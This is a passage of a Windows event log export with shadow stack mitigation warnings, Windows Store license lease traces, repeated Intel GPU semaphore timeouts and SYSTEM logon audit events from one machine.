'\\Device\\HarddiskVolume3\\Windows\\System32\\pidgenx.dll'.\n(Instruction address: 0x7ffbf02606ff, module offset: 0x106ff, module compatible with shadow stacks: false)\n\nAttempting to return to module '(null)'.\n(Instruction address: 0x2bec9d03228, module offset: 0x0, module compatible with shadow stacks: false)\"\tWarning\tMicrosoft-Windows-Security-Mitigations/KernelMode\tMicrosoft-Windows-Security-Mitigations\n05.09.2026 09:13:57.679\t25\t\"Process '\\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe' (PID 15612) has encountered a shadow stack return address mismatch. The process will be allowed to continue execution because: the process is running in compatibility mode, and the mismatch occurred in a module that is not compatible with shadow stacks.\nProcess shadow stack strict mode: false\nAppcompat options: 0x0\n\nReturn instruction executed from module '\\Device\\HarddiskVolume3\\Windows\\System32\\pidgenx.dll'.\n(Instruction address: 0x7ffbf02589fd, module offset: 0x89fd, module compatible with shadow stacks: false)\n\nAttempting to return to module '(null)'.\n(Instruction address: 0x2bec9d03220, module offset: 0x0, module compatible with shadow stacks: false)\"\tWarning\tMicrosoft-Windows-Security-Mitigations/KernelMode\tMicrosoft-Windows-Security-Mitigations\n05.09.2026 09:13:57.816\t16394\tOffline downlevel migration succeeded.\tInformation\tApplication\tMicrosoft-Windows-Security-SPP\n05.09.2026 09:13:58.313\t157\tThe license with Id 2da6ca43-2e6f-1f16-05ad-a9959043ddb7 has been archived successfully.  PFM if available: Microsoft.Windows.99.X20-15863_8wekyb3d8bbwe\tInformation\tMicrosoft-Client-Licensing-Platform/Admin\tMicrosoft-Client-Licensing-Platform\n05.09.2026 09:13:58.313\t116\t\"Application license successfully installed.\nPackage: Microsoft.Windows.99.X20-15863_8wekyb3d8bbwe\nUser Id (if available): NULL\nLicense Id: 2da6ca43-2e6f-1f16-05ad-a9959043ddb7\nAssociate Id: 2da6ca43-2e6f-1f16-05ad-a9959043ddb7\"\tInformation\tMicrosoft-Client-Licensing-Platform/Admin\tMicrosoft-Client-Licensing-Platform\n05.09.2026 09:13:58.319\t8001\t\"Licensing content 807d73a3-33f2-c21b-c47a-85c313d97af9\nFunction: OneStoreApplicationLicenseManager::ActivateLicenseForContent\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\onestoreapplicensemanager.cpp (410)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:58.319\t8001\t\"Licensing 807d73a3-33f2-c21b-c47a-85c313d97af9 (Active)\nFunction: LicenseManager::LicenseContentWithId\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\manager.cpp (88)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:58.319\t8002\t\"Capturing identity for LocalSystem, this probably isn't intended\nFunction: StoredIdentity::StoredIdentity\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\identity.cpp (536)\"\tWarning\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:58.319\t8001\t\"0000021F831D39B0: Key Machine for content: 807d73a3-33f2-c21b-c47a-85c313d97af9\nFunction: KeyMachine::KeyMachine\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (95)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:58.320\t8011\t0x21f83133e68: 8380: RootMachine: Dispatch: Root:Connect => Root:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:58.320\t8011\t0x21f831d39d0: 8380: 807d73a3-33f2-c21b-c47a-85c313d97af9: Dispatch: Key:Activate => Key:Initial\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:58.320\t8001\t\"0000021F831D39B0: BeginLicense: Operation 3, CachedLeaseOK true, RequireServiceValidation false\nFunction: KeyMachine::DoBeginLicense\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (819)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:58.320\t8012\t0x21f831d39d0: 8380: Key:Initial Change: Key:NegotiatingUnleased => 807d73a3-33f2-c21b-c47a-85c313d97af9\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:58.321\t8001\t\"Considering License ID {2DA6CA43-2E6F-1F16-05AD-A9959043DDB7} for content ID 807d73a3-33f2-c21b-c47a-85c313d97af9...\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (192)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:58.321\t8001\t\"Accepting key with License ID {2DA6CA43-2E6F-1F16-05AD-A9959043DDB7} for Content ID 807d73a3-33f2-c21b-c47a-85c313d97af9 (first match)\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (223)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:58.321\t8001\t\"Considering License ID {8CB56148-398C-A7C4-98F2-6FDC89C2093D} for content ID 807d73a3-33f2-c21b-c47a-85c313d97af9...\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (192)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:58.321\t8001\t\"Ignoring key for 807d73a3-33f2-c21b-c47a-85c313d97af9 with quality fffffff (0xc0ea0009) (no better than best)\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (251)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:58.321\t8001\t\"Considering License ID {BDBB3CA5-594E-7337-A093-A9860F553465} for content ID 807d73a3-33f2-c21b-c47a-85c313d97af9...\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (192)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:58.321\t8001\t\"Decoding: {}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:58.321\t8001\t\"Accepting key with License ID {BDBB3CA5-594E-7337-A093-A9860F553465} for Content ID 807d73a3-33f2-c21b-c47a-85c313d97af9 (better quality: 7f000000 vs 1fffffff)\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (229)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:58.321\t8001\t\"Returning key document for contentid 807d73a3-33f2-c21b-c47a-85c313d97af9\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (262)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:58.321\t8001\t\"Getting lease for 807d73a3-33f2-c21b-c47a-85c313d97af9\nFunction: LicenseManagerCore::GetExistingLeaseAndLicense\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\managercore.cpp (415)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:58.323\t8001\t\"Ignoring otherwise matching lease ({33B013F2-4858-241D-9000-CA9374B3ADB5}) for Content ID 807D73A3-33F2-C21B-C47A-85C313D97AF9 because of quality 268435455 (0xc0ea000a)\nFunction: ClipStorage::GetLeaseDocumentsForKeyDocument\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (396)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:58.323\t8001\t\"Decoding: {\"\"entitlementId\"\":\"\"d529c25ce2dd4d20984a9fb8aa485213\"\",\"\"entitlementSatisfaction\"\":\"\"Device\"\",\"\"isOffline\"\":true,\"\"leaseEnforcement\"\":\"\"None\"\",\"\"leaseUri\"\":\"\"https://licensing.md.mp.microsoft.com/v7.0/licenses/?beneficiaryId=msahwonecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cppa6966592751892763&contentId=807d73a3-33f2-c21b-c47a-85c313d97af9&entitlementId=d529c25ce2dd4d20984a9fb8aa485213&market=RU&policyType=Device\"\",\"\"keyIds\"\":[\"\"bdbb3ca5-594e-7337-a093-a9860f553465\"\"],\"\"kind\"\":\"\"Content\"\",\"\"packages\"\":[{\"\"packageIdentifier\"\":\"\"807d73a3-33f2-c21b-c47a-85c313d97af9\"\",\"\"packageType\"\":\"\"OS\"\",\"\"productAddOns\"\":[],\"\"productId\"\":\"\"BF712690PL09\"\",\"\"skuId\"\":\"\"0001\"\"}],\"\"pollAt\"\":\"\"2026-09-11T13:58:38.2670819+00:00\"\",\"\"refreshOnStartup\"\":false,\"\"version\"\":7}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:58.324\t8001\t\"Adding lease {AE9143F3-8179-89B2-A3AF-FFC1D366D1AE} to results\nFunction: ClipStorage::GetLeaseDocumentsForKeyDocument\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (387)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:58.324\t8001\t\"Returning 1 lease documents for contentid 807D73A3-33F2-C21B-C47A-85C313D97AF9\nFunction: ClipStorage::GetLeaseDocumentsForKeyDocument\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (460)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:58.324\t8001\t\"lease = 0x831afa78, usage = 536870912, policy = 2147483647, operation = 3, leaseBehavior = 0, shouldContentBeDeactivated = 0\nFunction: KeyMachine::DoLicenseThreadProc\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (905)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:58.324\t8001\t\"lease = 0x831afa78, quality = 1073741824\nFunction: KeyMachine::DoLicenseThreadProc\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (935)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:58.324\t8001\t\"content is alreadyLicensed, lease is cached\nFunction: KeyMachine::DoLicenseThreadProc\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (942)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:58.324\t8011\t0x21f831d39d0: 8380: 807d73a3-33f2-c21b-c47a-85c313d97af9: Dispatch: Key:@LicenseDone => Key:NegotiatingUnleased\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:58.326\t8002\t\"Failure Message: hr: 0x80070490\nFunction: \nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\misc.cpp (49)\"\tWarning\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:58.327\t8001\t\"lease = 0x831afa78, leaseActive = 1, leaseBehavior = 0\nFunction: KeyMachine::NegotiatingUnleased::LicenseDone\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (1986)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:58.327\t8001\t\"Lease Machine: 0000021F8312A400: {2CE050AC-4159-AABB-AC60-9CED070AF672}\nFunction: LeaseMachine::LeaseMachine\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\leasemachine.cpp (40)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:58.327\t8001\t\"Set results for lease = 0x831afa78, policy = 2147483647, operation = 3, Leasebehavior = 0\nFunction: KeyMachine::DoSetResult\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (1520)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:58.327\t8001\t\"No cached lease or key found, not renewing with service and treating this as a valid license with lease = 0x831afa78\nFunction: KeyMachine::NegotiatingUnleased::LicenseDone\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (2032)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:58.327\t8012\t0x21f831d39d0: 8380: Key:NegotiatingUnleased Change: Key:Valid => 807d73a3-33f2-c21b-c47a-85c313d97af9\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:58.327\t8011\t0x21f8312a420: 8380: {2CE050AC-4159-AABB-AC60-9CED070AF672}: Dispatch: Lease:UpdateLeaseDocument => Lease:Initial\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:58.327\t8012\t0x21f8312a420: 8380: Lease:Initial Change: Lease:Valid => {2CE050AC-4159-AABB-AC60-9CED070AF672}\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:58.327\t8001\t\"Decoding: {}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:58.327\t8001\t\"Decoding: {\"\"entitlementId\"\":\"\"d529c25ce2dd4d20984a9fb8aa485213\"\",\"\"entitlementSatisfaction\"\":\"\"Device\"\",\"\"isOffline\"\":true,\"\"leaseEnforcement\"\":\"\"None\"\",\"\"leaseUri\"\":\"\"https://licensing.md.mp.microsoft.com/v7.0/licenses/?beneficiaryId=msahwonecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cppa6966592751892763&contentId=807d73a3-33f2-c21b-c47a-85c313d97af9&entitlementId=d529c25ce2dd4d20984a9fb8aa485213&market=RU&policyType=Device\"\",\"\"keyIds\"\":[\"\"bdbb3ca5-594e-7337-a093-a9860f553465\"\"],\"\"kind\"\":\"\"Content\"\",\"\"packages\"\":[{\"\"packageIdentifier\"\":\"\"807d73a3-33f2-c21b-c47a-85c313d97af9\"\",\"\"packageType\"\":\"\"OS\"\",\"\"productAddOns\"\":[],\"\"productId\"\":\"\"BF712690PL09\"\",\"\"skuId\"\":\"\"0001\"\"}],\"\"pollAt\"\":\"\"2026-09-11T13:58:38.2670819+00:00\"\",\"\"refreshOnStartup\"\":false,\"\"version\"\":7}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:58.327\t8001\t\"Decoding: {\"\"entitlementId\"\":\"\"d529c25ce2dd4d20984a9fb8aa485213\"\",\"\"entitlementSatisfaction\"\":\"\"Device\"\",\"\"isOffline\"\":true,\"\"leaseEnforcement\"\":\"\"None\"\",\"\"leaseUri\"\":\"\"https://licensing.md.mp.microsoft.com/v7.0/licenses/?beneficiaryId=msahwonecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cppa6966592751892763&contentId=807d73a3-33f2-c21b-c47a-85c313d97af9&entitlementId=d529c25ce2dd4d20984a9fb8aa485213&market=RU&policyType=Device\"\",\"\"keyIds\"\":[\"\"bdbb3ca5-594e-7337-a093-a9860f553465\"\"],\"\"kind\"\":\"\"Content\"\",\"\"packages\"\":[{\"\"packageIdentifier\"\":\"\"807d73a3-33f2-c21b-c47a-85c313d97af9\"\",\"\"packageType\"\":\"\"OS\"\",\"\"productAddOns\"\":[],\"\"productId\"\":\"\"BF712690PL09\"\",\"\"skuId\"\":\"\"0001\"\"}],\"\"pollAt\"\":\"\"2026-09-11T13:58:38.2670819+00:00\"\",\"\"refreshOnStartup\"\":false,\"\"version\"\":7}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:58.327\t8011\t0x21f831d39d0: 16484: 807d73a3-33f2-c21b-c47a-85c313d97af9: Dispatch: Key:RegisterCallback => Key:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:58.327\t8001\t\"Updating lease timer for {2CE050AC-4159-AABB-AC60-9CED070AF672} to expire @ 2026-09-11T13:58:38Z (jitter was 29.321970 minutes)\nFunction: LeaseMachine::DoUpdateLeaseTimer\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\leasemachine.cpp (276)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:58.327\t8001\t\"Added timer for {2CE050AC-4159-AABB-AC60-9CED070AF672}\nFunction: MemoryTimerService::CreateTimerWithId\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\memorytimer.cpp (57)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:58.327\t8011\t0x21f8312a420: 8380: {2CE050AC-4159-AABB-AC60-9CED070AF672}: Dispatch: Lease:AddKey => Lease:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:58.327\t8011\t0x21f831d39d0: 8380: 807d73a3-33f2-c21b-c47a-85c313d97af9: Dispatch: Key:Unregistered => Key:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:58.327\t8001\t\"Lease dropped\nFunction: KeyMachine::DoDropLease\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (279)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:58.327\t8012\t0x21f831d39d0: 8380: Key:Valid Change: Key:Invalid => 807d73a3-33f2-c21b-c47a-85c313d97af9\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:58.327\t8001\t\"Set results for lease = 0x0, policy = 0, operation = 0, Leasebehavior = 0\nFunction: KeyMachine::DoSetResult\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (1520)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:58.327\t8011\t0x21f8312a420: 8380: {2CE050AC-4159-AABB-AC60-9CED070AF672}: Dispatch: Lease:RemoveKey => Lease:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:58.327\t8011\t0x21f8312a420: 8380: {2CE050AC-4159-AABB-AC60-9CED070AF672}: Dispatch: Lease:Unregistered => Lease:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:58.327\t8012\t0x21f8312a420: 8380: Lease:Valid Change: Lease:Invalid => {2CE050AC-4159-AABB-AC60-9CED070AF672}\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:58.327\t8001\t\"Requesting lease document removal for reason 0x00000000, {2CE050AC-4159-AABB-AC60-9CED070AF672}\nFunction: LicenseManagerCore::DoRemoveLeaseDocumentWithId\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\managercore.cpp (1460)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:58.328\t8001\t\"Decoding: {\"\"entitlementId\"\":\"\"d529c25ce2dd4d20984a9fb8aa485213\"\",\"\"entitlementSatisfaction\"\":\"\"Device\"\",\"\"isOffline\"\":true,\"\"leaseEnforcement\"\":\"\"None\"\",\"\"leaseUri\"\":\"\"https://licensing.md.mp.microsoft.com/v7.0/licenses/?beneficiaryId=msahwonecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cppa6966592751892763&contentId=807d73a3-33f2-c21b-c47a-85c313d97af9&entitlementId=d529c25ce2dd4d20984a9fb8aa485213&market=RU&policyType=Device\"\",\"\"keyIds\"\":[\"\"bdbb3ca5-594e-7337-a093-a9860f553465\"\"],\"\"kind\"\":\"\"Content\"\",\"\"packages\"\":[{\"\"packageIdentifier\"\":\"\"807d73a3-33f2-c21b-c47a-85c313d97af9\"\",\"\"packageType\"\":\"\"OS\"\",\"\"productAddOns\"\":[],\"\"productId\"\":\"\"BF712690PL09\"\",\"\"skuId\"\":\"\"0001\"\"}],\"\"pollAt\"\":\"\"2026-09-11T13:58:38.2670819+00:00\"\",\"\"refreshOnStartup\"\":false,\"\"version\"\":7}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:58.328\t8001\t\"Ignoring lease removal with reason 0x00000000 because this is an offline lease\n\nFunction: ClipStorage::RemoveLeaseDocumentWithIdAndReason\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (501)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:58.328\t173\tProduct key from MSDM table redeemed. Result: 0x0\tInformation\tMicrosoft-Client-Licensing-Platform/Admin\tMicrosoft-Client-Licensing-Platform\n05.09.2026 09:13:58.328\t8002\t\"Trying to remove timer {2CE050AC-4159-AABB-AC60-9CED070AF672} not in table\nFunction: MemoryTimerService::CancelTimerWithId\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\memorytimer.cpp (80)\"\tWarning\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:58.328\t8001\t\"Removed timer for {2CE050AC-4159-AABB-AC60-9CED070AF672}\nFunction: MemoryTimerService::CleanupTimer\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\memorytimer.cpp (19)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:58.556\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:13:59.116\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:13:59.564\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:14:00.572\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:14:01.356\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:14:01.917\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:14:02.140\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:14:02.366\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:14:02.586\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:14:02.919\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:14:03.474\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:14:03.698\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:14:03.920\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:14:04.144\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:14:04.227\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:14:04.227\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon 